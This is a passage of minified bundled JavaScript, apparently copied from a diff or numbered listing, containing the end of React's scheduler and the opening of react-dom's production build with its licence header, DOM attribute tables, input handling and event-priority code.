e()}finally{h=n}},e.unstable_pauseExecution=function(){},e.unstable_requestPaint=function(){},e.unstable_runWithPriority=function(e,t){switch(e){case 1:case 2:case 3:case 4:case 5:break;default:e=3}var n=h;h=e;try{return t()}finally{h=n}},e.unstable_scheduleCallback=function(r,i,o){var s=e.unstable_now();switch(o="object"==typeof o&&null!==o&&"number"==typeof(o=o.delay)&&0<o?s+o:s,r){case 1:var a=-1;break;case 2:a=250;break;case 5:a=1073741823;break;case 4:a=1e4;break;default:a=5e3}return r={id:l++,callback:i,priorityLevel:r,startTime:o,expirationTime:a=o+a,sortIndex:-1},o>s?(r.sortIndex=o,t(c,r),null===n(u)&&r===n(c)&&(g?(v(x),x=-1):g=!0,T(b,o-s))):(r.sortIndex=a,t(u,r),p||d||(p=!0,N(w))),r},e.unstable_shouldYield=k,e.unstable_wrapCallback=function(e){var t=h;return function(){var n=h;h=t;try{return e.apply(this,arguments)}finally{h=n}}}}(ss)),ss)}(os)),os.exports}
174
- /**
175
- * @license React
176
- * react-dom.production.min.js
177
- *
178
- * Copyright (c) Facebook, Inc. and its affiliates.
179
- *
180
- * This source code is licensed under the MIT license found in the
181
- * LICENSE file in the root directory of this source tree.
182
- */function us(){if(ts)return is;ts=1;var e=m.exports,t=as();function n(e){for(var t="https://reactjs.org/docs/error-decoder.html?invariant="+e,n=1;n<arguments.length;n++)t+="&args[]="+encodeURIComponent(arguments[n]);return"Minified React error #"+e+"; visit "+t+" for the full message or use the non-minified dev environment for full errors and additional helpful warnings."}var r=new Set,i={};function o(e,t){s(e,t),s(e+"Capture",t)}function s(e,t){for(i[e]=t,e=0;e<t.length;e++)r.add(t[e])}var a=!("undefined"==typeof window||void 0===window.document||void 0===window.document.createElement),u=Object.prototype.hasOwnProperty,c=/^[:A-Z_a-z\u00C0-\u00D6\u00D8-\u00F6\u00F8-\u02FF\u0370-\u037D\u037F-\u1FFF\u200C-\u200D\u2070-\u218F\u2C00-\u2FEF\u3001-\uD7FF\uF900-\uFDCF\uFDF0-\uFFFD][:A-Z_a-z\u00C0-\u00D6\u00D8-\u00F6\u00F8-\u02FF\u0370-\u037D\u037F-\u1FFF\u200C-\u200D\u2070-\u218F\u2C00-\u2FEF\u3001-\uD7FF\uF900-\uFDCF\uFDF0-\uFFFD\-.0-9\u00B7\u0300-\u036F\u203F-\u2040]*$/,l={},f={};function h(e,t,n,r,i,o,s){this.acceptsBooleans=2===t||3===t||4===t,this.attributeName=r,this.attributeNamespace=i,this.mustUseProperty=n,this.propertyName=e,this.type=t,this.sanitizeURL=o,this.removeEmptyString=s}var d={};"children dangerouslySetInnerHTML defaultValue defaultChecked innerHTML suppressContentEditableWarning suppressHydrationWarning style".split(" ").forEach((function(e){d[e]=new h(e,0,!1,e,null,!1,!1)})),[["acceptCharset","accept-charset"],["className","class"],["htmlFor","for"],["httpEquiv","http-equiv"]].forEach((function(e){var t=e[0];d[t]=new h(t,1,!1,e[1],null,!1,!1)})),["contentEditable","draggable","spellCheck","value"].forEach((function(e){d[e]=new h(e,2,!1,e.toLowerCase(),null,!1,!1)})),["autoReverse","externalResourcesRequired","focusable","preserveAlpha"].forEach((function(e){d[e]=new h(e,2,!1,e,null,!1,!1)})),"allowFullScreen async autoFocus autoPlay controls default defer disabled disablePictureInPicture disableRemotePlayback formNoValidate hidden loop noModule noValidate open playsInline readOnly required reversed scoped seamless itemScope".split(" ").forEach((function(e){d[e]=new h(e,3,!1,e.toLowerCase(),null,!1,!1)})),["checked","multiple","muted","selected"].forEach((function(e){d[e]=new h(e,3,!0,e,null,!1,!1)})),["capture","download"].forEach((function(e){d[e]=new h(e,4,!1,e,null,!1,!1)})),["cols","rows","size","span"].forEach((function(e){d[e]=new h(e,6,!1,e,null,!1,!1)})),["rowSpan","start"].forEach((function(e){d[e]=new h(e,5,!1,e.toLowerCase(),null,!1,!1)}));var p=/[\-:]([a-z])/g;function g(e){return e[1].toUpperCase()}function y(e,t,n,r){var i=d.hasOwnProperty(t)?d[t]:null;(null!==i?0!==i.type:r||!(2<t.length)||"o"!==t[0]&&"O"!==t[0]||"n"!==t[1]&&"N"!==t[1])&&(function(e,t,n,r){if(null==t||function(e,t,n,r){if(null!==n&&0===n.type)return!1;switch(typeof t){case"function":case"symbol":return!0;case"boolean":return!r&&(null!==n?!n.acceptsBooleans:"data-"!==(e=e.toLowerCase().slice(0,5))&&"aria-"!==e);default:return!1}}(e,t,n,r))return!0;if(r)return!1;if(null!==n)switch(n.type){case 3:return!t;case 4:return!1===t;case 5:return isNaN(t);case 6:return isNaN(t)||1>t}return!1}(t,n,i,r)&&(n=null),r||null===i?function(e){return!!u.call(f,e)||!u.call(l,e)&&(c.test(e)?f[e]=!0:(l[e]=!0,!1))}(t)&&(null===n?e.removeAttribute(t):e.setAttribute(t,""+n)):i.mustUseProperty?e[i.propertyName]=null===n?3!==i.type&&"":n:(t=i.attributeName,r=i.attributeNamespace,null===n?e.removeAttribute(t):(n=3===(i=i.type)||4===i&&!0===n?"":""+n,r?e.setAttributeNS(r,t,n):e.setAttribute(t,n))))}"accent-height alignment-baseline arabic-form baseline-shift cap-height clip-path clip-rule color-interpolation color-interpolation-filters color-profile color-rendering dominant-baseline enable-background fill-opacity fill-rule flood-color flood-opacity font-family font-size font-size-adjust font-stretch font-style font-variant font-weight glyph-name glyph-orientation-horizontal glyph-orientation-vertical horiz-adv-x horiz-origin-x image-rendering letter-spacing lighting-color marker-end marker-mid marker-start overline-position overline-thickness paint-order panose-1 pointer-events rendering-intent shape-rendering stop-color stop-opacity strikethrough-position strikethrough-thickness stroke-dasharray stroke-dashoffset stroke-linecap stroke-linejoin stroke-miterlimit stroke-opacity stroke-width text-anchor text-decoration text-rendering underline-position underline-thickness unicode-bidi unicode-range units-per-em v-alphabetic v-hanging v-ideographic v-mathematical vector-effect vert-adv-y vert-origin-x vert-origin-y word-spacing writing-mode xmlns:xlink x-height".split(" ").forEach((function(e){var t=e.replace(p,g);d[t]=new h(t,1,!1,e,null,!1,!1)})),"xlink:actuate xlink:arcrole xlink:role xlink:show xlink:title xlink:type".split(" ").forEach((function(e){var t=e.replace(p,g);d[t]=new h(t,1,!1,e,"http://www.w3.org/1999/xlink",!1,!1)})),["xml:base","xml:lang","xml:space"].forEach((function(e){var t=e.replace(p,g);d[t]=new h(t,1,!1,e,"http://www.w3.org/XML/1998/namespace",!1,!1)})),["tabIndex","crossOrigin"].forEach((function(e){d[e]=new h(e,1,!1,e.toLowerCase(),null,!1,!1)})),d.xlinkHref=new h("xlinkHref",1,!1,"xlink:href","http://www.w3.org/1999/xlink",!0,!1),["src","href","action","formAction"].forEach((function(e){d[e]=new h(e,1,!1,e.toLowerCase(),null,!0,!0)}));var v=e.__SECRET_INTERNALS_DO_NOT_USE_OR_YOU_WILL_BE_FIRED,_=Symbol.for("react.element"),b=Symbol.for("react.portal"),w=Symbol.for("react.fragment"),E=Symbol.for("react.strict_mode"),S=Symbol.for("react.profiler"),O=Symbol.for("react.provider"),x=Symbol.for("react.context"),I=Symbol.for("react.forward_ref"),R=Symbol.for("react.suspense"),k=Symbol.for("react.suspense_list"),C=Symbol.for("react.memo"),P=Symbol.for("react.lazy"),A=Symbol.for("react.offscreen"),N=Symbol.iterator;function T(e){return null===e||"object"!=typeof e?null:"function"==typeof(e=N&&e[N]||e["@@iterator"])?e:null}var M,L=Object.assign;function j(e){if(void 0===M)try{throw Error()}catch(e){var t=e.stack.trim().match(/\n( *(at )?)/);M=t&&t[1]||""}return"\n"+M+e}var U=!1;function D(e,t){if(!e||U)return"";U=!0;var n=Error.prepareStackTrace;Error.prepareStackTrace=void 0;try{if(t)if(t=function(){throw Error()},Object.defineProperty(t.prototype,"props",{set:function(){throw Error()}}),"object"==typeof Reflect&&Reflect.construct){try{Reflect.construct(t,[])}catch(e){var r=e}Reflect.construct(e,[],t)}else{try{t.call()}catch(e){r=e}e.call(t.prototype)}else{try{throw Error()}catch(e){r=e}e()}}catch(t){if(t&&r&&"string"==typeof t.stack){for(var i=t.stack.split("\n"),o=r.stack.split("\n"),s=i.length-1,a=o.length-1;1<=s&&0<=a&&i[s]!==o[a];)a--;for(;1<=s&&0<=a;s--,a--)if(i[s]!==o[a]){if(1!==s||1!==a)do{if(s--,0>--a||i[s]!==o[a]){var u="\n"+i[s].replace(" at new "," at ");return e.displayName&&u.includes("<anonymous>")&&(u=u.replace("<anonymous>",e.displayName)),u}}while(1<=s&&0<=a);break}}}finally{U=!1,Error.prepareStackTrace=n}return(e=e?e.displayName||e.name:"")?j(e):""}function z(e){switch(e.tag){case 5:return j(e.type);case 16:return j("Lazy");case 13:return j("Suspense");case 19:return j("SuspenseList");case 0:case 2:case 15:return e=D(e.type,!1);case 11:return e=D(e.type.render,!1);case 1:return e=D(e.type,!0);default:return""}}function F(e){if(null==e)return null;if("function"==typeof e)return e.displayName||e.name||null;if("string"==typeof e)return e;switch(e){case w:return"Fragment";case b:return"Portal";case S:return"Profiler";case E:return"StrictMode";case R:return"Suspense";case k:return"SuspenseList"}if("object"==typeof e)switch(e.$$typeof){case x:return(e.displayName||"Context")+".Consumer";case O:return(e._context.displayName||"Context")+".Provider";case I:var t=e.render;return(e=e.displayName)||(e=""!==(e=t.displayName||t.name||"")?"ForwardRef("+e+")":"ForwardRef"),e;case C:return null!==(t=e.displayName||null)?t:F(e.type)||"Memo";case P:t=e._payload,e=e._init;try{return F(e(t))}catch(e){}}return null}function B(e){var t=e.type;switch(e.tag){case 24:return"Cache";case 9:return(t.displayName||"Context")+".Consumer";case 10:return(t._context.displayName||"Context")+".Provider";case 18:return"DehydratedFragment";case 11:return e=(e=t.render).displayName||e.name||"",t.displayName||(""!==e?"ForwardRef("+e+")":"ForwardRef");case 7:return"Fragment";case 5:return t;case 4:return"Portal";case 3:return"Root";case 6:return"Text";case 16:return F(t);case 8:return t===E?"StrictMode":"Mode";case 22:return"Offscreen";case 12:return"Profiler";case 21:return"Scope";case 13:return"Suspense";case 19:return"SuspenseList";case 25:return"TracingMarker";case 1:case 0:case 17:case 2:case 14:case 15:if("function"==typeof t)return t.displayName||t.name||null;if("string"==typeof t)return t}return null}function H(e){switch(typeof e){case"boolean":case"number":case"string":case"undefined":case"object":return e;default:return""}}function q(e){var t=e.type;return(e=e.nodeName)&&"input"===e.toLowerCase()&&("checkbox"===t||"radio"===t)}function V(e){e._valueTracker||(e._valueTracker=function(e){var t=q(e)?"checked":"value",n=Object.getOwnPropertyDescriptor(e.constructor.prototype,t),r=""+e[t];if(!e.hasOwnProperty(t)&&void 0!==n&&"function"==typeof n.get&&"function"==typeof n.set){var i=n.get,o=n.set;return Object.defineProperty(e,t,{configurable:!0,get:function(){return i.call(this)},set:function(e){r=""+e,o.call(this,e)}}),Object.defineProperty(e,t,{enumerable:n.enumerable}),{getValue:function(){return r},setValue:function(e){r=""+e},stopTracking:function(){e._valueTracker=null,delete e[t]}}}}(e))}function $(e){if(!e)return!1;var t=e._valueTracker;if(!t)return!0;var n=t.getValue(),r="";return e&&(r=q(e)?e.checked?"true":"false":e.value),(e=r)!==n&&(t.setValue(e),!0)}function W(e){if(void 0===(e=e||("undefined"!=typeof document?document:void 0)))return null;try{return e.activeElement||e.body}catch(t){return e.body}}function K(e,t){var n=t.checked;return L({},t,{defaultChecked:void 0,defaultValue:void 0,value:void 0,checked:null!=n?n:e._wrapperState.initialChecked})}function G(e,t){var n=null==t.defaultValue?"":t.defaultValue,r=null!=t.checked?t.checked:t.defaultChecked;n=H(null!=t.value?t.value:n),e._wrapperState={initialChecked:r,initialValue:n,controlled:"checkbox"===t.type||"radio"===t.type?null!=t.checked:null!=t.value}}function Y(e,t){null!=(t=t.checked)&&y(e,"checked",t,!1)}function Q(e,t){Y(e,t);var n=H(t.value),r=t.type;if(null!=n)"number"===r?(0===n&&""===e.value||e.value!=n)&&(e.value=""+n):e.value!==""+n&&(e.value=""+n);else if("submit"===r||"reset"===r)return void e.removeAttribute("value");t.hasOwnProperty("value")?X(e,t.type,n):t.hasOwnProperty("defaultValue")&&X(e,t.type,H(t.defaultValue)),null==t.checked&&null!=t.defaultChecked&&(e.defaultChecked=!!t.defaultChecked)}function J(e,t,n){if(t.hasOwnProperty("value")||t.hasOwnProperty("defaultValue")){var r=t.type;if(!("submit"!==r&&"reset"!==r||void 0!==t.value&&null!==t.value))return;t=""+e._wrapperState.initialValue,n||t===e.value||(e.value=t),e.defaultValue=t}""!==(n=e.name)&&(e.name=""),e.defaultChecked=!!e._wrapperState.initialChecked,""!==n&&(e.name=n)}function X(e,t,n){"number"===t&&W(e.ownerDocument)===e||(null==n?e.defaultValue=""+e._wrapperState.initialValue:e.defaultValue!==""+n&&(e.defaultValue=""+n))}var Z=Array.isArray;function ee(e,t,n,r){if(e=e.options,t){t={};for(var i=0;i<n.length;i++)t["$"+n[i]]=!0;for(n=0;n<e.length;n++)i=t.hasOwnProperty("$"+e[n].value),e[n].selected!==i&&(e[n].selected=i),i&&r&&(e[n].defaultSelected=!0)}else{for(n=""+H(n),t=null,i=0;i<e.length;i++){if(e[i].value===n)return e[i].selected=!0,void(r&&(e[i].defaultSelected=!0));null!==t||e[i].disabled||(t=e[i])}null!==t&&(t.selected=!0)}}function te(e,t){if(null!=t.dangerouslySetInnerHTML)throw Error(n(91));return L({},t,{value:void 0,defaultValue:void 0,children:""+e._wrapperState.initialValue})}function ne(e,t){var r=t.value;if(null==r){if(r=t.children,t=t.defaultValue,null!=r){if(null!=t)throw Error(n(92));if(Z(r)){if(1<r.length)throw Error(n(93));r=r[0]}t=r}null==t&&(t=""),r=t}e._wrapperState={initialValue:H(r)}}function re(e,t){var n=H(t.value),r=H(t.defaultValue);null!=n&&((n=""+n)!==e.value&&(e.value=n),null==t.defaultValue&&e.defaultValue!==n&&(e.defaultValue=n)),null!=r&&(e.defaultValue=""+r)}function ie(e){var t=e.textContent;t===e._wrapperState.initialValue&&""!==t&&null!==t&&(e.value=t)}function oe(e){switch(e){case"svg":return"http://www.w3.org/2000/svg";case"math":return"http://www.w3.org/1998/Math/MathML";default:return"http://www.w3.org/1999/xhtml"}}function se(e,t){return null==e||"http://www.w3.org/1999/xhtml"===e?oe(t):"http://www.w3.org/2000/svg"===e&&"foreignObject"===t?"http://www.w3.org/1999/xhtml":e}var ae,ue,ce=(ue=function(e,t){if("http://www.w3.org/2000/svg"!==e.namespaceURI||"innerHTML"in e)e.innerHTML=t;else{for((ae=ae||document.createElement("div")).innerHTML="<svg>"+t.valueOf().toString()+"</svg>",t=ae.firstChild;e.firstChild;)e.removeChild(e.firstChild);for(;t.firstChild;)e.appendChild(t.firstChild)}},"undefined"!=typeof MSApp&&MSApp.execUnsafeLocalFunction?function(e,t,n,r){MSApp.execUnsafeLocalFunction((function(){return ue(e,t)}))}:ue);function le(e,t){if(t){var n=e.firstChild;if(n&&n===e.lastChild&&3===n.nodeType)return void(n.nodeValue=t)}e.textContent=t}var fe={animationIterationCount:!0,aspectRatio:!0,borderImageOutset:!0,borderImageSlice:!0,borderImageWidth:!0,boxFlex:!0,boxFlexGroup:!0,boxOrdinalGroup:!0,columnCount:!0,columns:!0,flex:!0,flexGrow:!0,flexPositive:!0,flexShrink:!0,flexNegative:!0,flexOrder:!0,gridArea:!0,gridRow:!0,gridRowEnd:!0,gridRowSpan:!0,gridRowStart:!0,gridColumn:!0,gridColumnEnd:!0,gridColumnSpan:!0,gridColumnStart:!0,fontWeight:!0,lineClamp:!0,lineHeight:!0,opacity:!0,order:!0,orphans:!0,tabSize:!0,widows:!0,zIndex:!0,zoom:!0,fillOpacity:!0,floodOpacity:!0,stopOpacity:!0,strokeDasharray:!0,strokeDashoffset:!0,strokeMiterlimit:!0,strokeOpacity:!0,strokeWidth:!0},he=["Webkit","ms","Moz","O"];function de(e,t,n){return null==t||"boolean"==typeof t||""===t?"":n||"number"!=typeof t||0===t||fe.hasOwnProperty(e)&&fe[e]?(""+t).trim():t+"px"}function pe(e,t){for(var n in e=e.style,t)if(t.hasOwnProperty(n)){var r=0===n.indexOf("--"),i=de(n,t[n],r);"float"===n&&(n="cssFloat"),r?e.setProperty(n,i):e[n]=i}}Object.keys(fe).forEach((function(e){he.forEach((function(t){t=t+e.charAt(0).toUpperCase()+e.substring(1),fe[t]=fe[e]}))}));var ge=L({menuitem:!0},{area:!0,base:!0,br:!0,col:!0,embed:!0,hr:!0,img:!0,input:!0,keygen:!0,link:!0,meta:!0,param:!0,source:!0,track:!0,wbr:!0});function ye(e,t){if(t){if(ge[e]&&(null!=t.children||null!=t.dangerouslySetInnerHTML))throw Error(n(137,e));if(null!=t.dangerouslySetInnerHTML){if(null!=t.children)throw Error(n(60));if("object"!=typeof t.dangerouslySetInnerHTML||!("__html"in t.dangerouslySetInnerHTML))throw Error(n(61))}if(null!=t.style&&"object"!=typeof t.style)throw Error(n(62))}}function ve(e,t){if(-1===e.indexOf("-"))return"string"==typeof t.is;switch(e){case"annotation-xml":case"color-profile":case"font-face":case"font-face-src":case"font-face-uri":case"font-face-format":case"font-face-name":case"missing-glyph":return!1;default:return!0}}var me=null;function _e(e){return(e=e.target||e.srcElement||window).correspondingUseElement&&(e=e.correspondingUseElement),3===e.nodeType?e.parentNode:e}var be=null,we=null,Ee=null;function Se(e){if(e=vi(e)){if("function"!=typeof be)throw Error(n(280));var t=e.stateNode;t&&(t=_i(t),be(e.stateNode,e.type,t))}}function Oe(e){we?Ee?Ee.push(e):Ee=[e]:we=e}function xe(){if(we){var e=we,t=Ee;if(Ee=we=null,Se(e),t)for(e=0;e<t.length;e++)Se(t[e])}}function Ie(e,t){return e(t)}function Re(){}var ke=!1;function Ce(e,t,n){if(ke)return e(t,n);ke=!0;try{return Ie(e,t,n)}finally{ke=!1,(null!==we||null!==Ee)&&(Re(),xe())}}function Pe(e,t){var r=e.stateNode;if(null===r)return null;var i=_i(r);if(null===i)return null;r=i[t];e:switch(t){case"onClick":case"onClickCapture":case"onDoubleClick":case"onDoubleClickCapture":case"onMouseDown":case"onMouseDownCapture":case"onMouseMove":case"onMouseMoveCapture":case"onMouseUp":case"onMouseUpCapture":case"onMouseEnter":(i=!i.disabled)||(i=!("button"===(e=e.type)||"input"===e||"select"===e||"textarea"===e)),e=!i;break e;default:e=!1}if(e)return null;if(r&&"function"!=typeof r)throw Error(n(231,t,typeof r));return r}var Ae=!1;if(a)try{var Ne={};Object.defineProperty(Ne,"passive",{get:function(){Ae=!0}}),window.addEventListener("test",Ne,Ne),window.removeEventListener("test",Ne,Ne)}catch(ue){Ae=!1}function Te(e,t,n,r,i,o,s,a,u){var c=Array.prototype.slice.call(arguments,3);try{t.apply(n,c)}catch(e){this.onError(e)}}var Me=!1,Le=null,je=!1,Ue=null,De={onError:function(e){Me=!0,Le=e}};function ze(e,t,n,r,i,o,s,a,u){Me=!1,Le=null,Te.apply(De,arguments)}function Fe(e){var t=e,n=e;if(e.alternate)for(;t.return;)t=t.return;else{e=t;do{0!=(4098&(t=e).flags)&&(n=t.return),e=t.return}while(e)}return 3===t.tag?n:null}function Be(e){if(13===e.tag){var t=e.memoizedState;if(null===t&&(null!==(e=e.alternate)&&(t=e.memoizedState)),null!==t)return t.dehydrated}return null}function He(e){if(Fe(e)!==e)throw Error(n(188))}function qe(e){return e=function(e){var t=e.alternate;if(!t){if(null===(t=Fe(e)))throw Error(n(188));return t!==e?null:e}for(var r=e,i=t;;){var o=r.return;if(null===o)break;var s=o.alternate;if(null===s){if(null!==(i=o.return)){r=i;continue}break}if(o.child===s.child){for(s=o.child;s;){if(s===r)return He(o),e;if(s===i)return He(o),t;s=s.sibling}throw Error(n(188))}if(r.return!==i.return)r=o,i=s;else{for(var a=!1,u=o.child;u;){if(u===r){a=!0,r=o,i=s;break}if(u===i){a=!0,i=o,r=s;break}u=u.sibling}if(!a){for(u=s.child;u;){if(u===r){a=!0,r=s,i=o;break}if(u===i){a=!0,i=s,r=o;break}u=u.sibling}if(!a)throw Error(n(189))}}if(r.alternate!==i)throw Error(n(190))}if(3!==r.tag)throw Error(n(188));return r.stateNode.current===r?e:t}(e),null!==e?Ve(e):null}function Ve(e){if(5===e.tag||6===e.tag)return e;for(e=e.child;null!==e;){var t=Ve(e);if(null!==t)return t;e=e.sibling}return null}var $e=t.unstable_scheduleCallback,We=t.unstable_cancelCallback,Ke=t.unstable_shouldYield,Ge=t.unstable_requestPaint,Ye=t.unstable_now,Qe=t.unstable_getCurrentPriorityLevel,Je=t.unstable_ImmediatePriority,Xe=t.unstable_UserBlockingPriority,Ze=t.unstable_NormalPriority,et=t.unstable_LowPriority,tt=t.unstable_IdlePriority,nt=null,rt=null;var it=Math.clz32?Math.clz32:function(e){return e>>>=0,0===e?32:31-(ot(e)/st|0)|0},ot=Math.log,st=Math.LN2;var at=64,ut=4194304;function ct(e){switch(e&-e){case 1:return 1;case 2:return 2;case 4:return 4;case 8:return 8;case 16:return 16;case 32:return 32;case 64:case 128:case 256:case 512:case 1024:case 2048:case 4096:case 8192:case 16384:case 32768:case 65536:case 131072:case 262144:case 524288:case 1048576:case 2097152:return 4194240&e;case 4194304:case 8388608:case 16777216:case 33554432:case 67108864:return 130023424&e;case 134217728:return 134217728;case 268435456:return 268435456;case 536870912:return 536870912;case 1073741824:return 1073741824;default:return e}}function lt(e,t){var n=e.pendingLanes;if(0===n)return 0;var r=0,i=e.suspendedLanes,o=e.pingedLanes,s=268435455&n;if(0!==s){var a=s&~i;0!==a?r=ct(a):0!==(o&=s)&&(r=ct(o))}else 0!==(s=n&~i)?r=ct(s):0!==o&&(r=ct(o));if(0===r)return 0;if(0!==t&&t!==r&&0==(t&i)&&((i=r&-r)>=(o=t&-t)||16===i&&0!=(4194240&o)))return t;if(0!=(4&r)&&(r|=16&n),0!==(t=e.entangledLanes))for(e=e.entanglements,t&=r;0<t;)i=1<<(n=31-it(t)),r|=e[n],t&=~i;return r}function ft(e,t){switch(e){case 1:case 2:case 4:return t+250;case 8:case 16:case 32:case 64:case 128:case 256:case 512:case 1024:case 2048:case 4096:case 8192:case 16384:case 32768:case 65536:case 131072:case 262144:case 524288:case 1048576:case 2097152:return t+5e3;default:return-1}}function ht(e){return 0!==(e=-1073741825&e.pendingLanes)?e:1073741824&e?1073741824:0}function dt(){var e=at;return 0==(4194240&(at<<=1))&&(at=64),e}function pt(e){for(var t=[],n=0;31>n;n++)t.push(e);return t}function gt(e,t,n){e.pendingLanes|=t,536870912!==t&&(e.suspendedLanes=0,e.pingedLanes=0),(e=e.eventTimes)[t=31-it(t)]=n}function yt(e,t){var n=e.entangledLanes|=t;for(e=e.entanglements;n;){var r=31-it(n),i=1<<r;i&t|e[r]&t&&(e[r]|=t),n&=~i}}var vt=0;function mt(e){return 1<(e&=-e)?4<e?0!=(268435455&e)?16:536870912:4:1}var _t,bt,wt,Et,St,Ot=!1,xt=[],It=null,Rt=null,kt=null,Ct=new Map,Pt=new Map,At=[],Nt="mousedown mouseup touchcancel touchend touchstart auxclick dblclick pointercancel pointerdown pointerup dragend dragstart drop compositionend compositionstart keydown keypress keyup input textInput copy cut paste click change contextmenu reset submit".split(" ");function Tt(e,t){switch(e){case"focusin":case"focusout":It=null;break;case"dragenter":case"dragleave":Rt=null;break;case"mouseover":case"mouseout":kt=null;break;case"pointerover":case"pointerout":Ct.delete(t.pointerId);break;case"gotpointercapture":case"lostpointercapture":Pt.delete(t.pointerId)}}function Mt(e,t,n,r,i,o){return null===e||e.nativeEvent!==o?(e={blockedOn:t,domEventName:n,eventSystemFlags:r,nativeEvent:o,targetContainers:[i]},null!==t&&(null!==(t=vi(t))&&bt(t)),e):(e.eventSystemFlags|=r,t=e.targetContainers,null!==i&&-1===t.indexOf(i)&&t.push(i),e)}function Lt(e){var t=yi(e.target);if(null!==t){var n=Fe(t);if(null!==n)if(13===(t=n.tag)){if(null!==(t=Be(n)))return e.blockedOn=t,void St(e.priority,(function(){wt(n)}))}else if(3===t&&n.stateNode.current.memoizedState.isDehydrated)return void(e.blockedOn=3===n.tag?n.stateNode.containerInfo:null)}e.blockedOn=null}function jt(e){if(null!==e.blockedOn)return!1;for(var t=e.targetContainers;0<t.length;){var n=Kt(e.domEventName,e.eventSystemFlags,t[0],e.nativeEvent);if(null!==n)return null!==(t=vi(n))&&bt(t),e.blockedOn=n,!1;var r=new(n=e.nativeEvent).constructor(n.type,n);me=r,n.target.dispatchEvent(r),me=null,t.shift()}return!0}function Ut(e,t,n){jt(e)&&n.delete(t)}function Dt(){Ot=!1,null!==It&&jt(It)&&(It=null),null!==Rt&&jt(Rt)&&(Rt=null),null!==kt&&jt(kt)&&(kt=null),Ct.forEach(Ut),Pt.forEach(Ut)}function zt(e,n){e.blockedOn===n&&(e.blockedOn=null,Ot||(Ot=!0,t.unstable_scheduleCallback(t.unstable_NormalPriority,Dt)))}function Ft(e){function t(t){return zt(t,e)}if(0<xt.length){zt(xt[0],e);for(var n=1;n<xt.length;n++){var r=xt[n];r.blockedOn===e&&(r.blockedOn=null)}}for(null!==It&&zt(It,e),null!==Rt&&zt(Rt,e),null!==kt&&zt(kt,e),Ct.forEach(t),Pt.forEach(t),n=0;n<At.length;n++)(r=At[n]).blockedOn===e&&(r.blockedOn=null);for(;0<At.length&&null===(n=At[0]).blockedOn;)Lt(n),null===n.blockedOn&&At.shift()}var Bt=v.ReactCurrentBatchConfig,Ht=!0;function qt(e,t,n,r){var i=vt,o=Bt.transition;Bt.transition=null;try{vt=1,$t(e,t,n,r)}finally{vt=i,Bt.transition=o}}function Vt(e,t,n,r){var i=vt,o=Bt.transition;Bt.transition=null;try{vt=4,$t(e,t,n,r)}finally{vt=i,Bt.transition=o}}function $t(e,t,n,r){if(Ht){var i=Kt(e,t,n,r);if(null===i)Hr(e,t,r,Wt,n),Tt(e,r);else if(function(e,t,n,r,i){switch(t){case"focusin":return It=Mt(It,e,t,n,r,i),!0;case"dragenter":return Rt=Mt(Rt,e,t,n,r,i),!0;case"mouseover":return kt=Mt(kt,e,t,n,r,i),!0;case"pointerover":var o=i.pointerId;return Ct.set(o,Mt(Ct.get(o)||null,e,t,n,r,i)),!0;case"gotpointercapture":return o=i.pointerId,Pt.set(o,Mt(Pt.get(o)||null,e,t,n,r,i)),!0}return!1}(i,e,t,n,r))r.stopPropagation();else if(Tt(e,r),4&t&&-1<Nt.indexOf(e)){for(;null!==i;){var o=vi(i);if(null!==o&&_t(o),null===(o=Kt(e,t,n,r))&&Hr(e,t,r,Wt,n),o===i)break;i=o}null!==i&&r.stopPropagation()}else Hr(e,t,r,null,n)}}var Wt=null;function Kt(e,t,n,r){if(Wt=null,null!==(e=yi(e=_e(r))))if(null===(t=Fe(e)))e=null;else if(13===(n=t.tag)){if(null!==(e=Be(t)))return e;e=null}else if(3===n){if(t.stateNode.current.memoizedState.isDehydrated)return 3===t.tag?t.stateNode.containerInfo:null;e=null}else t!==e&&(e=null);return Wt=e,null}function Gt(e){switch(e){case"cancel":case"click":case"close":case"contextmenu":case"copy":case"cut":case"auxclick":case"dblclick":case"dragend":case"dragstart":case"drop":case"focusin":case"focusout":case"input":case"invalid":case"keydown":case"keypress":case"keyup":case"mousedown":case"mouseup":case"paste":case"pause":case"play":case"pointercancel":case"pointerdown":case"pointerup":case"ratechange":case"reset":case"resize":case"seeked":case"submit":case"touchcancel":case"touchend":case"touchstart":case"volumechange":case"change":case"selectionchange":case"textInput":case"compositionstart":case"compositionend":case"compositionupdate":case"beforeblur":case"afterblur":case"beforeinput":case"blur":case"fullscreenchange":case"focus":case"hashchange":case"popstate":case"select":case"selectstart":return 1;case"drag":case"dragenter":case"dragexit":case"dragleave":case"dragover":case"mousemove":case"mouseout":case"mouseover":case"pointermove":case"pointerout":case"pointerover":case"scroll":case"toggle":case"touchmove":case"wheel":case"mouseenter":case"mouseleave":case"pointerenter":case"pointerleave":return 4;case"message":switch(Qe()){case Je:return 1;case Xe:return 4;case Ze:case et:return 16;case tt:return 536870912;default:return 16}default:return 16}}var Yt=null,Qt=null,Jt=null;function Xt(){if(Jt)return Jt;var e,t,n=Qt,r=n.length,i="value"in Yt?Yt.value:Yt.textContent,o=i.length;for(e=0;e<r&&n[e]===i[e];e++);var s=r-e;for(t=1;t<=s&&n[r-t]===i[o-t];t++);return Jt=i.slice(e,1<t?1-t:void 0)}function Zt(e){var t=e.keyCode;return"charCode"in e?0===(e=e.charCode)&&13===t&&(e=13):e=t,10===e&&(e=13),32<=e||13===e?e:0}function en(){return!0}function tn(){return!1}function nn(e){function t(t,n,r,i,o){for(var s in this._reactName=t,this._targetInst=r,this.type=n,this.nativeEvent=i,this.target=o,this.currentTarget=null,e)e.hasOwnProperty(s)&&(t=e[s],this[s]=t?t(i):i[s]);return this.isDefaultPrevented=(null!=i.defaultPrevented?i.defaultPrevented:!1===i.returnValue)?en:tn,this.isPropagationStopped=tn,this}return L(t.prototype,{preventDefault:function(){this.defaultPrevented=!0;var e=this.nativeEvent;e&&(e.preventDefault?e.preventDefault():"unknown"!=typeof e.returnValue&&(e.returnValue=!1),this.isDefaultPrevented=en)},stopPropagation:function(){var e=this.nativeEvent;e&&(e.stopPropagation?e.stopPropagation():"unknown"!=typeof e.cancelBubble&&(e.cancelBubble=!0),this.isPropagationStopped=en)},persist:function(){},isPersistent:en}),t}var rn,on,sn,an={eventPhase:0,bubbles:0,cancelable:0,timeStamp:function(e){return e.timeStamp||Date.now()},defaultPrevented:0,isTrusted:0},un=nn(an),cn=L({},an,{view:0,detail:0}),ln=nn(cn),fn=L({},cn,{screenX:0,screenY:0,clientX:0,clientY:0,pageX:0,pageY:0,ctrlKey:0,shiftKey:0,altKey:0,metaKey:0,getModifierState:Sn,button:0,buttons:0,relatedTarget:function(e){return void 